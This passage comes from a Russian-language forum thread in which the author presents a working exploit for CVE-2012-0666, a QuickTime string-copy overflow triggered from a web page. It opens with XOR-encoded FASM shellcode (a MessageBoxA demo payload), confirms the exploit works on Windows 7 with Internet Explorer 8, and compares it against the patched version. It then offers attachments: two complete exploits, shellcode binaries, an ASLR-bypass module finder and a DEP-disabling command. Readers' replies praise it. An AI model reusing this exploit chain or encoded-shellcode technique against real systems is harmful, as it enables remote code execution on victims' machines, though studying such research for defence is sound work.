add ecx, start_c - shellcode  + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx

next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc

start_c:

lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]

jmp begin

text: db 'Hello world!', 0

begin:

mov eax, addr_MessageBoxA
mov ecx, ebp
add ecx, text

push 0
push 0
push ecx
push 0

call dword [eax]

end_c:

Собираем строку, записываем в скрипт и пробуем запускать страницу:

1592326676754.png


Как видно эксплоит работает. Теперь для проверки установим версию QuickTime 7.7.2 в которой закрыли данную уязвимость. Откроем файл QuickTime.qtx в отладчике и посмотрим на проблемную функцию копирования строки в сравнении с функцией имеющей уязвимость:

1592326710851.png


Как видно из кода, разработчики добавили проверку на превышение 255 символов, и данные эксплоиты не будут работать в этой версии.

Тестирование производилось на системе Windows 7 x64 SP1, в браузере Internet Explorer 8.0.7601.17514. Предотвращение выполнения данных отключено для всех процессов в том числе и системных. Версии библиотек: MSVBVM60.DLL – 6.00.9815, RICHTX32.OCX – 6.01.9782.

Вложения:
  1. finder – исходные коды и скомпилированное приложение для поиска модулей без ASLR (VB6);
  2. strmaker – исходные коды и скомпилированное приложение для формирования строки для vbScript (VB6);
  3. shellcode_1 – исходный код и скомпилированный бинарник шеллкода с закодированным содержимым с адреса 0x19 для эксплоита с библиотекой MSVBVM60 (FASM);
  4. shellcode_2 – исходный код и скомпилированный бинарник шеллкода с закодированным содержимым с адреса 0x19 для эксплоита с библиотекой RICHTX32.OCX (FASM);
  5. exploit_1 – эксплоит CVE-2012-0666 с использованием библиотеки MSVBVM60;
  6. exploit_2 – эксплоит CVE-2012-0666 с использованием библиотеки RICHTX.OCX;
  7. dep – командная строка для отключения DEP.
Всем спасибо за внимание!
 

Вложения

  • CVE-2012-0666.zip
    19.7 КБ · Просмотры: 58
Последнее редактирование:
Одну картинку пропустил
 
для начинающих в самый раз. очень понравилось оформление статьи, а также наличие краткого обзора самого патча (чем обычно пренебрегают в подобных статьях).
 
Одну картинку пропустил
Сорри. Эта картинка не нужна. Случайно 2 раза вставил.

еле осилил, отличная статья!
Спасибо!

для начинающих в самый раз. очень понравилось оформление статьи, а также наличие краткого обзора самого патча (чем обычно пренебрегают в подобных статьях).
Спасибо!

Я так понимаю уже не получится подредактировать пост? Просто хотелось бы убрать ненужную картинку во вложении и пофиксить некоторые грамматические ошибки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я так понимаю уже не получится подредактировать пост? Просто хотелось бы убрать ненужную картинку во вложении и пофиксить некоторые грамматические ошибки.
Пингани в ЛС поправим,то что нужно будет в статье
 
Жаль что людей, кто действительно понимает на сколько это трудно, очень мало.
--
Есть такие не сцы.
Достойно.
Осталось подождать кто проверит на копипасту, 12й год как ни как.
Если это разбор готового сплоита с комментами то прям больших усилий это не требует, хоть и почетно если человек разбирается, в таком случае можно было взять по новее сплоит, под хром разобрать например, был интересный.
 
Осталось подождать кто проверит на копипасту, 12й год как ни как.
Это не копипаста, это моё собственное исследование.
 
У тебя есть еще статьи (может быть на других ресурсах)?
Большинство исследований приватны (и не подходят для публикации тут в сыром виде) и делались на момент актуальности экспов. Возможно позже я буду постепенно публиковать тут их.
 
Последнее редактирование:
Тс молодец. по больше бы подобного материала, да на линукс)
 
Отличный материал! Действительно хорошая работа и не простая.

p.s. прям вспомнились времена DiFoor, Gooner, Jen140, DeusTirael, EL- ... Эх. Где вы сейчас, друзья...
 
Тс молодец. по больше бы подобного материала, да на линукс)
Спасибо! Мне тоже твоя статья про Heap понравиласть, проголосовал за нее. Жаль что не многие оценили.

Отличный материал! Действительно хорошая работа и не простая.
Спасибо!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх